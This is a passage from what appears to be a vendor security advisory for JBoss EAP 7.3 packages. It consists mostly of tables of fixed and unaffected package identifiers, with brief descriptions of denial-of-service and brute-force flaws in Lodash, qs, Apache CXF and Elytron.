| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.
8.2 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.
7.5 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Apache CXF. In some edge cases with large data stream caching, the CachedOutputStream instances may not be closed and, if backed by temporary files, may fill up the file system and trigger a denial of service.
CWE-400 - Uncontrolled Resource ConsumptionAffected products
Fixed
5 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Vendor Fix
fix
|
Known not affected
31 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Threats
Impact
Low
A flaw was found in Wildfly Elytron integration. The component does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks via CLI.
8.1 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
